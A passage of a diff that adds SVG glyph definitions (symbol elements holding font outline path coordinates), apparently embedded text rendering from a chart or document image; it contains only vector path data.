-0.5625 9.0625 -0.625 L 9.109375 -0.546875 L 9.234375 -0.546875 C 9.210938 -0.578125 9.203125 -0.625 9.203125 -0.6875 L 9.203125 -0.921875 C 9.203125 -1.054688 9.132812 -1.125 9 -1.125 C 8.945312 -1.125 8.894531 -1.113281 8.84375 -1.09375 C 8.800781 -1.082031 8.765625 -1.070312 8.734375 -1.0625 Z M 8.9375 -0.65625 C 8.882812 -0.65625 8.859375 -0.679688 8.859375 -0.734375 C 8.859375 -0.785156 8.894531 -0.8125 8.96875 -0.8125 C 8.988281 -0.8125 9.003906 -0.804688 9.015625 -0.796875 C 9.035156 -0.796875 9.050781 -0.796875 9.0625 -0.796875 L 9.0625 -0.734375 C 9.039062 -0.679688 9 -0.65625 8.9375 -0.65625 Z M 9.71875 -1.09375 C 9.707031 -1.113281 9.679688 -1.125 9.640625 -1.125 C 9.578125 -1.125 9.535156 -1.085938 9.515625 -1.015625 L 9.5 -1.015625 L 9.46875 -1.09375 L 9.34375 -1.09375 L 9.34375 -0.546875 L 9.515625 -0.546875 L 9.515625 -0.890625 C 9.515625 -0.941406 9.554688 -0.96875 9.640625 -0.96875 L 9.65625 -0.96875 C 9.664062 -0.96875 9.671875 -0.960938 9.671875 -0.953125 C 9.671875 -0.953125 9.679688 -0.953125 9.703125 -0.953125 Z M 9.8125 -0.953125 C 9.894531 -0.984375 9.957031 -1 10 -1 C 10.070312 -1 10.109375 -0.972656 10.109375 -0.921875 L 10.109375 -0.875 C 10.085938 -0.875 10.070312 -0.875 10.0625 -0.875 C 10.050781 -0.882812 10.03125 -0.890625 10 -0.890625 C 9.820312 -0.890625 9.734375 -0.820312 9.734375 -0.6875 C 9.734375 -0.582031 9.796875 -0.53125 9.921875 -0.53125 C 10.015625 -0.53125 10.078125 -0.5625 10.109375 -0.625 L 10.125 -0.625 L 10.140625 -0.546875 L 10.265625 -0.546875 C 10.253906 -0.578125 10.25 -0.625 10.25 -0.6875 L 10.25 -0.921875 C 10.25 -1.054688 10.179688 -1.125 10.046875 -1.125 C 9.984375 -1.125 9.929688 -1.113281 9.890625 -1.09375 C 9.859375 -1.082031 9.828125 -1.070312 9.796875 -1.0625 Z M 9.984375 -0.65625 C 9.929688 -0.65625 9.90625 -0.679688 9.90625 -0.734375 C 9.90625 -0.785156 9.9375 -0.8125 10 -0.8125 C 10.03125 -0.8125 10.050781 -0.804688 10.0625 -0.796875 C 10.070312 -0.796875 10.085938 -0.796875 10.109375 -0.796875 L 10.109375 -0.734375 C 10.078125 -0.679688 10.035156 -0.65625 9.984375 -0.65625 Z M 10.828125 -1.28125 L 10.203125 -1.28125 L 10.203125 -1.15625 L 10.421875 -1.15625 L 10.421875 -0.546875 L 10.59375 -0.546875 L 10.59375 -1.15625 L 10.828125 -1.15625 Z M 11 -1.09375 L 10.828125 -1.09375 L 11.078125 -0.546875 C 11.066406 -0.484375 11.035156 -0.453125 10.984375 -0.453125 L 10.953125 -0.46875 L 10.921875 -0.34375 C 10.941406 -0.332031 10.972656 -0.328125 11.015625 -0.328125 C 11.085938 -0.328125 11.15625 -0.414062 11.21875 -0.59375 L 11.421875 -1.09375 L 11.265625 -1.09375 L 11.15625 -0.796875 L 11.15625 -0.6875 L 11.140625 -0.6875 L 11.125 -0.796875 Z M 11.484375 -0.328125 L 11.640625 -0.328125 L 11.640625 -0.5625 C 11.660156 -0.539062 11.695312 -0.53125 11.75 -0.53125 C 11.9375 -0.53125 12.03125 -0.628906 12.03125 -0.828125 C 12.03125 -1.023438 11.957031 -1.125 11.8125 -1.125 C 11.738281 -1.125 11.675781 -1.09375 11.625 -1.03125 L 11.609375 -1.03125 L 11.59375 -1.09375 L 11.484375 -1.09375 Z M 11.765625 -1 C 11.835938 -1 11.875 -0.941406 11.875 -0.828125 C 11.875 -0.710938 11.828125 -0.65625 11.734375 -0.65625 C 11.703125 -0.65625 11.671875 -0.664062 11.640625 -0.6875 L 11.640625 -0.890625 C 11.640625 -0.960938 11.679688 -1 11.765625 -1 Z M 12.5625 -0.6875 C 12.53125 -0.664062 12.484375 -0.65625 12.421875 -0.65625 C 12.328125 -0.65625 12.269531 -0.691406 12.25 -0.765625 L 12.640625 -0.765625 L 12.640625 -0.890625 C 12.640625 -0.972656 12.613281 -1.03125 12.5625 -1.0625 C 12.519531 -1.101562 12.46875 -1.125 12.40625 -1.125 C 12.207031 -1.125 12.109375 -1.019531 12.109375 -0.8125 C 12.109375 -0.625 12.207031 -0.53125 12.40625 -0.53125 C 12.445312 -0.53125 12.484375 -0.535156 12.515625 -0.546875 C 12.554688 -0.554688 12.59375 -0.570312 12.625 -0.59375 Z M 12.40625 -1 C 12.476562 -1 12.507812 -0.957031 12.5 -0.875 L 12.28125 -0.875 C 12.28125 -0.957031 12.320312 -1 12.40625 -1 Z M 12.40625 -1 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-1">
+<path style="stroke:none;" d="M 8.796875 -12.828125 L 5.3125 -12.828125 L 5.3125 0 L 3.78125 0 L 3.78125 -12.828125 L 0.28125 -12.828125 L 0.28125 -14.234375 L 8.796875 -14.234375 Z M 8.796875 -12.828125 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-2">
+<path style="stroke:none;" d="M 1.09375 -9.546875 C 1.488281 -9.796875 1.96875 -9.988281 2.53125 -10.125 C 3.09375 -10.257812 3.6875 -10.328125 4.3125 -10.328125 C 4.875 -10.328125 5.328125 -10.238281 5.671875 -10.0625 C 6.023438 -9.894531 6.300781 -9.664062 6.5 -9.375 C 6.695312 -9.082031 6.820312 -8.75 6.875 -8.375 C 6.9375 -8.007812 6.96875 -7.625 6.96875 -7.21875 C 6.96875 -6.40625 6.953125 -5.609375 6.921875 -4.828125 C 6.890625 -4.054688 6.875 -3.328125 6.875 -2.640625 C 6.875 -2.128906 6.890625 -1.648438 6.921875 -1.203125 C 6.953125 -0.765625 7.015625 -0.347656 7.109375 0.046875 L 6 0.046875 L 5.65625 -1.15625 L 5.5625 -1.15625 C 5.363281 -0.800781 5.066406 -0.492188 4.671875 -0.234375 C 4.273438 0.015625 3.75 0.140625 3.09375 0.140625 C 2.351562 0.140625 1.75 -0.109375 1.28125 -0.609375 C 0.820312 -1.117188 0.59375 -1.820312 0.59375 -2.71875 C 0.59375 -3.300781 0.6875 -3.789062 0.875 -4.1875 C 1.070312 -4.582031 1.347656 -4.898438 1.703125 -5.140625 C 2.066406 -5.390625 2.492188 -5.5625 2.984375 -5.65625 C 3.484375 -5.757812 4.039062 -5.8125 4.65625 -5.8125 C 4.789062 -5.8125 4.925781 -5.8125 5.0625 -5.8125 C 5.195312 -5.8125 5.335938 -5.804688 5.484375 -5.796875 C 5.523438 -6.210938 5.546875 -6.582031 5.546875 -6.90625 C 5.546875 -7.675781 5.429688 -8.21875 5.203125 -8.53125 C 4.972656 -8.84375 4.550781 -9 3.9375 -9 C 3.5625 -9 3.148438 -8.941406 2.703125 -8.828125 C 2.253906 -8.710938 1.878906 -8.566406 1.578125 -8.390625 Z M 5.515625 -4.640625 C 5.378906 -4.648438 5.242188 -4.65625 5.109375 -4.65625 C 4.972656 -4.664062 4.835938 -4.671875 4.703125 -4.671875 C 4.367188 -4.671875 4.046875 -4.644531 3.734375 -4.59375 C 3.421875 -4.539062 3.144531 -4.445312 2.90625 -4.3125 C 2.664062 -4.175781 2.472656 -3.992188 2.328125 -3.765625 C 2.179688 -3.535156 2.109375 -3.242188 2.109375 -2.890625 C 2.109375 -2.347656 2.238281 -1.925781 2.5 -1.625 C 2.769531 -1.320312 3.113281 -1.171875 3.53125 -1.171875 C 4.101562 -1.171875 4.546875 -1.304688 4.859375 -1.578125 C 5.171875 -1.847656 5.390625 -2.148438 5.515625 -2.484375 Z M 5.515625 -4.640625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-3">
+<path style="stroke:none;" d="M 1.203125 -14.234375 L 2.65625 -14.234375 L 2.65625 -9.390625 L 2.71875 -9.390625 C 3.28125 -10.066406 4.019531 -10.40625 4.9375 -10.40625 C 5.976562 -10.40625 6.757812 -9.988281 7.28125 -9.15625 C 7.800781 -8.332031 8.0625 -7.03125 8.0625 -5.25 C 8.0625 -3.414062 7.710938 -2.050781 7.015625 -1.15625 C 6.316406 -0.257812 5.332031 0.1875 4.0625 0.1875 C 3.4375 0.1875 2.863281 0.113281 2.34375 -0.03125 C 1.832031 -0.175781 1.453125 -0.34375 1.203125 -0.53125 Z M 2.65625 -1.484375 C 2.851562 -1.378906 3.085938 -1.296875 3.359375 -1.234375 C 3.640625 -1.171875 3.9375 -1.140625 4.25 -1.140625 C 4.957031 -1.140625 5.515625 -1.472656 5.921875 -2.140625 C 6.335938 -2.816406 6.546875 -3.851562 6.546875 -5.25 C 6.546875 -5.832031 6.507812 -6.351562 6.4375 -6.8125 C 6.363281 -7.28125 6.25 -7.679688 6.09375 -8.015625 C 5.9375 -8.359375 5.734375 -8.625 5.484375 -8.8125 C 5.234375 -9 4.929688 -9.09375 4.578125 -9.09375 C 4.085938 -9.09375 3.679688 -8.945312 3.359375 -8.65625 C 3.046875 -8.363281 2.8125 -7.960938 2.65625 -7.453125 Z M 2.65625 -1.484375 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-4">
+<path style="stroke:none;" d="M 2.765625 -2.421875 C 2.765625 -1.941406 2.828125 -1.597656 2.953125 -1.390625 C 3.085938 -1.191406 3.269531 -1.09375 3.5 -1.09375 C 3.78125 -1.09375 4.113281 -1.171875 4.5 -1.328125 L 4.640625 -0.140625 C 4.460938 -0.0351562 4.210938 0.046875 3.890625 0.109375 C 3.578125 0.179688 3.289062 0.21875 3.03125 0.21875 C 2.507812 0.21875 2.085938 0.0625 1.765625 -0.25 C 1.453125 -0.570312 1.296875 -1.132812 1.296875 -1.9375 L 1.296875 -14.234375 L 2.765625 -14.234375 Z M 2.765625 -2.421875 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-5">
+<path style="stroke:none;" d="M 7.28125 -0.6875 C 6.957031 -0.394531 6.539062 -0.164062 6.03125 0 C 5.53125 0.164062 5.003906 0.25 4.453125 0.25 C 3.816406 0.25 3.265625 0.125 2.796875 -0.125 C 2.328125 -0.382812 1.9375 -0.742188 1.625 -1.203125 C 1.320312 -1.671875 1.097656 -2.226562 0.953125 -2.875 C 0.816406 -3.53125 0.75 -4.265625 0.75 -5.078125 C 0.75 -6.816406 1.066406 -8.140625 1.703125 -9.046875 C 2.335938 -9.953125 3.238281 -10.40625 4.40625 -10.40625 C 4.789062 -10.40625 5.164062 -10.359375 5.53125 -10.265625 C 5.90625 -10.171875 6.242188 -9.976562 6.546875 -9.6875 C 6.847656 -9.40625 7.085938 -9.003906 7.265625 -8.484375 C 7.453125 -7.972656 7.546875 -7.304688 7.546875 -6.484375 C 7.546875 -6.253906 7.535156 -6.003906 7.515625 -5.734375 C 7.492188 -5.472656 7.46875 -5.203125 7.4375 -4.921875 L 2.28125 -4.921875 C 2.28125 -4.335938 2.328125 -3.804688 2.421875 -3.328125 C 2.515625 -2.859375 2.660156 -2.457031 2.859375 -2.125 C 3.066406 -1.789062 3.328125 -1.53125 3.640625 -1.34375 C 3.960938 -1.164062 4.363281 -1.078125 4.84375 -1.078125 C 5.207031 -1.078125 5.566406 -1.144531 5.921875 -1.28125 C 6.285156 -1.414062 6.5625 -1.578125 6.75 -1.765625 Z M 6.140625 -6.140625 C 6.171875 -7.148438 6.03125 -7.894531 5.71875 -8.375 C 5.40625 -8.851562 4.976562 -9.09375 4.4375 -9.09375 C 3.8125 -9.09375 3.316406 -8.851562 2.953125 -8.375 C 2.585938 -7.894531 2.367188 -7.148438 2.296875 -6.140625 Z M 6.140625 -6.140625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-6">
+<path style="stroke:none;" d="M 1.546875 -9.109375 C 1.546875 -9.484375 1.632812 -9.765625 1.8125 -9.953125 C 2 -10.140625 2.25 -10.234375 2.5625 -10.234375 C 2.875 -10.234375 3.117188 -10.140625 3.296875 -9.953125 C 3.484375 -9.765625 3.578125 -9.484375 3.578125 -9.109375 C 3.578125 -8.710938 3.484375 -8.414062 3.296875 -8.21875 C 3.117188 -8.03125 2.875 -7.9375 2.5625 -7.9375 C 2.25 -7.9375 2 -8.03125 1.8125 -8.21875 C 1.632812 -8.414062 1.546875 -8.710938 1.546875 -9.109375 Z M 1.546875 -0.921875 C 1.546875 -1.296875 1.632812 -1.578125 1.8125 -1.765625 C 2 -1.953125 2.25 -2.046875 2.5625 -2.046875 C 2.875 -2.046875 3.117188 -1.953125 3.296875 -1.765625 C 3.484375 -1.578125 3.578125 -1.296875 3.578125 -0.921875 C 3.578125 -0.523438 3.484375 -0.226562 3.296875 -0.03125 C 3.117188 0.15625 2.875 0.25 2.5625 0.25 C 2.25 0.25 2 0.15625 1.8125 -0.03125 C 1.632812 -0.226562 1.546875 -0.523438 1.546875 -0.921875 Z M 1.546875 -0.921875 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-7">
+<path style="stroke:none;" d=""/>
+</symbol>
+<symbol overflow="visible" id="glyph0-8">
+<path style="stroke:none;" d="M 1.203125 -10.15625 L 2.234375 -10.15625 L 2.453125 -9.0625 L 2.546875 -9.0625 C 3.046875 -9.957031 3.832031 -10.40625 4.90625 -10.40625 C 5.96875 -10.40625 6.765625 -10.003906 7.296875 -9.203125 C 7.835938 -8.410156 8.109375 -7.101562 8.109375 -5.28125 C 8.109375 -4.425781 8.019531 -3.65625 7.84375 -2.96875 C 7.664062 -2.289062 7.414062 -1.710938 7.09375 -1.234375 C 6.769531 -0.753906 6.375 -0.382812 5.90625 -0.125 C 5.4375 0.125 4.914062 0.25 4.34375 0.25 C 3.957031 0.25 3.644531 0.222656 3.40625 0.171875 C 3.175781 0.128906 2.925781 0.03125 2.65625 -0.125 L 2.65625 4.0625 L 1.203125 4.0625 Z M 2.65625 -1.609375 C 2.851562 -1.441406 3.066406 -1.3125 3.296875 -1.21875 C 3.535156 -1.125 3.851562 -1.078125 4.25 -1.078125 C 4.96875 -1.078125 5.535156 -1.441406 5.953125 -2.171875 C 6.378906 -2.898438 6.59375 -3.945312 6.59375 -5.3125 C 6.59375 -5.875 6.550781 -6.382812 6.46875 -6.84375 C 6.394531 -7.3125 6.273438 -7.707031 6.109375 -8.03125 C 5.953125 -8.363281 5.75 -8.625 5.5 -8.8125 C 5.25 -9 4.941406 -9.09375 4.578125 -9.09375 C 3.585938 -9.09375 2.945312 -8.488281 2.65625 -7.28125 Z M 2.65625 -1.609375 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-9">
+<path style="stroke:none;" d="M 1.203125 -10.15625 L 2.234375 -10.15625 L 2.5 -9.09375 L 2.5625 -9.09375 C 2.75 -9.476562 2.992188 -9.78125 3.296875 -10 C 3.609375 -10.226562 3.976562 -10.34375 4.40625 -10.34375 C 4.71875 -10.34375 5.070312 -10.28125 5.46875 -10.15625 L 5.1875 -8.6875 C 4.832031 -8.800781 4.519531 -8.859375 4.25 -8.859375 C 3.8125 -8.859375 3.457031 -8.734375 3.1875 -8.484375 C 2.914062 -8.234375 2.738281 -7.898438 2.65625 -7.484375 L 2.65625 0 L 1.203125 0 Z M 1.203125 -10.15625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-10">
+<path style="stroke:none;" d="M 0.75 -5.078125 C 0.75 -6.910156 1.0625 -8.253906 1.6875 -9.109375 C 2.320312 -9.972656 3.222656 -10.40625 4.390625 -10.40625 C 5.640625 -10.40625 6.554688 -9.960938 7.140625 -9.078125 C 7.734375 -8.203125 8.03125 -6.867188 8.03125 -5.078125 C 8.03125 -3.234375 7.710938 -1.882812 7.078125 -1.03125 C 6.441406 -0.175781 5.546875 0.25 4.390625 0.25 C 3.140625 0.25 2.21875 -0.191406 1.625 -1.078125 C 1.039062 -1.960938 0.75 -3.296875 0.75 -5.078125 Z M 2.28125 -5.078125 C 2.28125 -4.484375 2.316406 -3.941406 2.390625 -3.453125 C 2.460938 -2.960938 2.582031 -2.539062 2.75 -2.1875 C 2.925781 -1.84375 3.148438 -1.570312 3.421875 -1.375 C 3.691406 -1.175781 4.015625 -1.078125 4.390625 -1.078125 C 5.097656 -1.078125 5.625 -1.390625 5.96875 -2.015625 C 6.320312 -2.648438 6.5 -3.671875 6.5 -5.078125 C 6.5 -5.660156 6.460938 -6.195312 6.390625 -6.6875 C 6.316406 -7.1875 6.191406 -7.613281 6.015625 -7.96875 C 5.847656 -8.320312 5.628906 -8.597656 5.359375 -8.796875 C 5.085938 -8.992188 4.765625 -9.09375 4.390625 -9.09375 C 3.703125 -9.09375 3.175781 -8.769531 2.8125 -8.125 C 2.457031 -7.488281 2.28125 -6.472656 2.28125 -5.078125 Z M 2.28125 -5.078125 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-11">
+<path style="stroke:none;" d="M 7.609375 -3.5 C 7.609375 -2.800781 7.613281 -2.171875 7.625 -1.609375 C 7.632812 -1.046875 7.679688 -0.492188 7.765625 0.046875 L 6.765625 0.046875 L 6.4375 -1.171875 L 6.359375 -1.171875 C 6.171875 -0.765625 5.875 -0.425781 5.46875 -0.15625 C 5.0625 0.113281 4.570312 0.25 4 0.25 C 2.90625 0.25 2.085938 -0.175781 1.546875 -1.03125 C 1.015625 -1.882812 0.75 -3.226562 0.75 -5.0625 C 0.75 -6.789062 1.078125 -8.101562 1.734375 -9 C 2.390625 -9.894531 3.296875 -10.34375 4.453125 -10.34375 C 4.847656 -10.34375 5.160156 -10.316406 5.390625 -10.265625 C 5.617188 -10.222656 5.867188 -10.148438 6.140625 -10.046875 L 6.140625 -14.234375 L 7.609375 -14.234375 Z M 6.140625 -8.5625 C 5.953125 -8.71875 5.738281 -8.832031 5.5 -8.90625 C 5.257812 -8.988281 4.941406 -9.03125 4.546875 -9.03125 C 3.828125 -9.03125 3.269531 -8.703125 2.875 -8.046875 C 2.476562 -7.398438 2.28125 -6.398438 2.28125 -5.046875 C 2.28125 -4.441406 2.316406 -3.898438 2.390625 -3.421875 C 2.460938 -2.941406 2.578125 -2.523438 2.734375 -2.171875 C 2.890625 -1.816406 3.09375 -1.546875 3.34375 -1.359375 C 3.59375 -1.171875 3.898438 -1.078125 4.265625 -1.078125 C 5.242188 -1.078125 5.867188 -1.65625 6.140625 -2.8125 Z M 6.140625 -8.5625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-12">
+<path style="stroke:none;" d="M 2.515625 -10.15625 L 2.515625 -3.9375 C 2.515625 -2.914062 2.617188 -2.179688 2.828125 -1.734375 C 3.046875 -1.296875 3.429688 -1.078125 3.984375 -1.078125 C 4.265625 -1.078125 4.515625 -1.132812 4.734375 -1.25 C 4.960938 -1.363281 5.164062 -1.515625 5.34375 -1.703125 C 5.519531 -1.890625 5.675781 -2.101562 5.8125 -2.34375 C 5.945312 -2.59375 6.054688 -2.847656 6.140625 -3.109375 L 6.140625 -10.15625 L 7.609375 -10.15625 L 7.609375 -2.890625 C 7.609375 -2.398438 7.625 -1.894531 7.65625 -1.375 C 7.6875 -0.851562 7.738281 -0.394531 7.8125 0 L 6.765625 0 L 6.40625 -1.421875 L 6.34375 -1.421875 C 6.113281 -0.972656 5.78125 -0.582031 5.34375 -0.25 C 4.914062 0.0820312 4.375 0.25 3.71875 0.25 C 3.28125 0.25 2.898438 0.191406 2.578125 0.078125 C 2.253906 -0.0234375 1.976562 -0.21875 1.75 -0.5 C 1.519531 -0.789062 1.347656 -1.179688 1.234375 -1.671875 C 1.117188 -2.171875 1.0625 -2.804688 1.0625 -3.578125 L 1.0625 -10.15625 Z M 2.515625 -10.15625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-13">
+<path style="stroke:none;" d="M 6.8125 -0.515625 C 6.46875 -0.253906 6.078125 -0.0625 5.640625 0.0625 C 5.210938 0.1875 4.765625 0.25 4.296875 0.25 C 3.640625 0.25 3.085938 0.125 2.640625 -0.125 C 2.191406 -0.382812 1.828125 -0.742188 1.546875 -1.203125 C 1.273438 -1.671875 1.070312 -2.234375 0.9375 -2.890625 C 0.8125 -3.546875 0.75 -4.273438 0.75 -5.078125 C 0.75 -6.816406 1.054688 -8.140625 1.671875 -9.046875 C 2.296875 -9.953125 3.179688 -10.40625 4.328125 -10.40625 C 4.859375 -10.40625 5.3125 -10.359375 5.6875 -10.265625 C 6.070312 -10.171875 6.398438 -10.050781 6.671875 -9.90625 L 6.265625 -8.625 C 5.722656 -8.9375 5.132812 -9.09375 4.5 -9.09375 C 3.757812 -9.09375 3.203125 -8.769531 2.828125 -8.125 C 2.460938 -7.476562 2.28125 -6.460938 2.28125 -5.078125 C 2.28125 -4.523438 2.316406 -4.003906 2.390625 -3.515625 C 2.472656 -3.023438 2.609375 -2.597656 2.796875 -2.234375 C 2.992188 -1.878906 3.238281 -1.597656 3.53125 -1.390625 C 3.832031 -1.179688 4.207031 -1.078125 4.65625 -1.078125 C 5.007812 -1.078125 5.335938 -1.132812 5.640625 -1.25 C 5.941406 -1.375 6.191406 -1.519531 6.390625 -1.6875 Z M 6.8125 -0.515625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-14">
+<path style="stroke:none;" d="M 0.1875 -10.15625 L 1.421875 -10.15625 L 1.421875 -12.171875 L 2.890625 -12.640625 L 2.890625 -10.15625 L 5.078125 -10.15625 L 5.078125 -8.84375 L 2.890625 -8.84375 L 2.890625 -2.78125 C 2.890625 -2.1875 2.957031 -1.753906 3.09375 -1.484375 C 3.238281 -1.222656 3.472656 -1.09375 3.796875 -1.09375 C 4.066406 -1.09375 4.300781 -1.125 4.5 -1.1875 C 4.695312 -1.25 4.910156 -1.328125 5.140625 -1.421875 L 5.421875 -0.265625 C 5.128906 -0.117188 4.800781 -0.00390625 4.4375 0.078125 C 4.082031 0.171875 3.707031 0.21875 3.3125 0.21875 C 2.632812 0.21875 2.148438 0 1.859375 -0.4375 C 1.566406 -0.875 1.421875 -1.585938 1.421875 -2.578125 L 1.421875 -8.84375 L 0.1875 -8.84375 Z M 0.1875 -10.15625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-15">
+<path style="stroke:none;" d="M 7.609375 0.46875 C 7.609375 1.78125 7.316406 2.75 6.734375 3.375 C 6.148438 4 5.300781 4.3125 4.1875 4.3125 C 3.507812 4.3125 2.953125 4.253906 2.515625 4.140625 C 2.085938 4.023438 1.738281 3.890625 1.46875 3.734375 L 1.890625 2.484375 C 2.160156 2.597656 2.457031 2.707031 2.78125 2.8125 C 3.101562 2.925781 3.503906 2.984375 3.984375 2.984375 C 4.804688 2.984375 5.367188 2.753906 5.671875 2.296875 C 5.984375 1.835938 6.140625 1.066406 6.140625 -0.015625 L 6.140625 -0.765625 L 6.078125 -0.765625 C 5.859375 -0.460938 5.578125 -0.222656 5.234375 -0.046875 C 4.898438 0.128906 4.46875 0.21875 3.9375 0.21875 C 2.84375 0.21875 2.035156 -0.203125 1.515625 -1.046875 C 1.003906 -1.890625 0.75 -3.222656 0.75 -5.046875 C 0.75 -6.785156 1.082031 -8.101562 1.75 -9 C 2.425781 -9.894531 3.421875 -10.34375 4.734375 -10.34375 C 5.367188 -10.34375 5.914062 -10.28125 6.375 -10.15625 C 6.84375 -10.039062 7.253906 -9.898438 7.609375 -9.734375 Z M 6.140625 -8.703125 C 5.734375 -8.921875 5.210938 -9.03125 4.578125 -9.03125 C 3.878906 -9.03125 3.320312 -8.710938 2.90625 -8.078125 C 2.488281 -7.453125 2.28125 -6.445312 2.28125 -5.0625 C 2.28125 -4.488281 2.3125 -3.960938 2.375 -3.484375 C 2.445312 -3.003906 2.5625 -2.582031 2.71875 -2.21875 C 2.882812 -1.863281 3.09375 -1.585938 3.34375 -1.390625 C 3.59375 -1.191406 3.898438 -1.09375 4.265625 -1.09375 C 4.785156 -1.09375 5.191406 -1.226562 5.484375 -1.5 C 5.785156 -1.769531 6.003906 -2.175781 6.140625 -2.71875 Z M 6.140625 -8.703125 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-16">
+<path style="stroke:none;" d="M 3.71875 -3.59375 L 4.140625 -1.625 L 4.25 -1.625 L 4.546875 -3.59375 L 6.09375 -10.15625 L 7.578125 -10.15625 L 5.15625 -1.03125 C 4.96875 -0.300781 4.78125 0.378906 4.59375 1.015625 C 4.40625 1.648438 4.195312 2.203125 3.96875 2.671875 C 3.75 3.140625 3.5 3.503906 3.21875 3.765625 C 2.945312 4.035156 2.617188 4.171875 2.234375 4.171875 C 1.859375 4.171875 1.523438 4.109375 1.234375 3.984375 L 1.484375 2.609375 C 1.671875 2.671875 1.859375 2.679688 2.046875 2.640625 C 2.242188 2.597656 2.425781 2.484375 2.59375 2.296875 C 2.757812 2.109375 2.910156 1.828125 3.046875 1.453125 C 3.191406 1.078125 3.320312 0.59375 3.4375 0 L 0.140625 -10.15625 L 1.8125 -10.15625 Z M 3.71875 -3.59375 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-17">
+<path style="stroke:none;" d="M 1.296875 -14.09375 C 1.734375 -14.207031 2.195312 -14.285156 2.6875 -14.328125 C 3.175781 -14.367188 3.65625 -14.390625 4.125 -14.390625 C 4.664062 -14.390625 5.203125 -14.328125 5.734375 -14.203125 C 6.265625 -14.085938 6.742188 -13.863281 7.171875 -13.53125 C 7.597656 -13.207031 7.941406 -12.757812 8.203125 -12.1875 C 8.460938 -11.625 8.59375 -10.898438 8.59375 -10.015625 C 8.59375 -9.160156 8.46875 -8.4375 8.21875 -7.84375 C 7.96875 -7.25 7.632812 -6.765625 7.21875 -6.390625 C 6.8125 -6.015625 6.335938 -5.742188 5.796875 -5.578125 C 5.265625 -5.410156 4.710938 -5.328125 4.140625 -5.328125 C 4.085938 -5.328125 4 -5.328125 3.875 -5.328125 C 3.757812 -5.328125 3.632812 -5.328125 3.5 -5.328125 C 3.363281 -5.335938 3.226562 -5.347656 3.09375 -5.359375 C 2.96875 -5.378906 2.878906 -5.394531 2.828125 -5.40625 L 2.828125 0 L 1.296875 0 Z M 4.203125 -12.984375 C 3.929688 -12.984375 3.671875 -12.972656 3.421875 -12.953125 C 3.171875 -12.929688 2.972656 -12.90625 2.828125 -12.875 L 2.828125 -6.8125 C 2.878906 -6.78125 2.960938 -6.757812 3.078125 -6.75 C 3.191406 -6.75 3.3125 -6.742188 3.4375 -6.734375 C 3.5625 -6.734375 3.679688 -6.734375 3.796875 -6.734375 C 3.910156 -6.734375 3.992188 -6.734375 4.046875 -6.734375 C 4.421875 -6.734375 4.785156 -6.78125 5.140625 -6.875 C 5.492188 -6.96875 5.804688 -7.140625 6.078125 -7.390625 C 6.347656 -7.640625 6.566406 -7.976562 6.734375 -8.40625 C 6.910156 -8.832031 7 -9.367188 7 -10.015625 C 7 -10.585938 6.921875 -11.0625 6.765625 -11.4375 C 6.609375 -11.820312 6.398438 -12.128906 6.140625 -12.359375 C 5.890625 -12.585938 5.59375 -12.75 5.25 -12.84375 C 4.914062 -12.9375 4.566406 -12.984375 4.203125 -12.984375 Z M 4.203125 -12.984375 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-18">
+<path style="stroke:none;" d="M 0.875 -7.109375 C 0.875 -9.523438 1.257812 -11.351562 2.03125 -12.59375 C 2.800781 -13.84375 3.976562 -14.46875 5.5625 -14.46875 C 6.414062 -14.46875 7.140625 -14.296875 7.734375 -13.953125 C 8.335938 -13.609375 8.820312 -13.117188 9.1875 -12.484375 C 9.5625 -11.847656 9.835938 -11.070312 10.015625 -10.15625 C 10.191406 -9.25 10.28125 -8.234375 10.28125 -7.109375 C 10.28125 -4.703125 9.890625 -2.875 9.109375 -1.625 C 8.335938 -0.375 7.15625 0.25 5.5625 0.25 C 4.726562 0.25 4.007812 0.078125 3.40625 -0.265625 C 2.8125 -0.617188 2.320312 -1.113281 1.9375 -1.75 C 1.5625 -2.382812 1.289062 -3.15625 1.125 -4.0625 C 0.957031 -4.96875 0.875 -5.984375 0.875 -7.109375 Z M 2.484375 -7.109375 C 2.484375 -6.316406 2.539062 -5.5625 2.65625 -4.84375 C 2.769531 -4.125 2.945312 -3.492188 3.1875 -2.953125 C 3.4375 -2.410156 3.753906 -1.972656 4.140625 -1.640625 C 4.535156 -1.316406 5.007812 -1.15625 5.5625 -1.15625 C 6.582031 -1.15625 7.359375 -1.640625 7.890625 -2.609375 C 8.421875 -3.585938 8.6875 -5.085938 8.6875 -7.109375 C 8.6875 -7.898438 8.625 -8.65625 8.5 -9.375 C 8.382812 -10.09375 8.207031 -10.722656 7.96875 -11.265625 C 7.726562 -11.816406 7.410156 -12.253906 7.015625 -12.578125 C 6.617188 -12.910156 6.132812 -13.078125 5.5625 -13.078125 C 4.5625 -13.078125 3.796875 -12.585938 3.265625 -11.609375 C 2.742188 -10.628906 2.484375 -9.128906 2.484375 -7.109375 Z M 2.484375 -7.109375 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-19">
